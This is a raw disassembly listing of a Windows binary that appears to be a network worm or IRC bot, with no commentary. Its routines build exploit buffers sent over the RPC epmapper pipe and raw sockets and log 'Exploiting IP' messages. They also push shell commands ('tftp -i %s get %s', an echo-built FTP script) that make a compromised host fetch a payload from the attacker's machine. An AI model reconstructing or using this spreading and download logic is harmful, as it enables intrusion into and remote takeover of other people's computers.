loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	near ptr 2700000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43285C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 2730896h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		call	near ptr 2730000h
		nop
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680000h
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	near ptr 2710000h
		nop
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA6C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		nop
		call	near ptr 269040Ah
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		nop
		call	near ptr 269040Ah
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	ebx
		call	dword_4CBA6C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
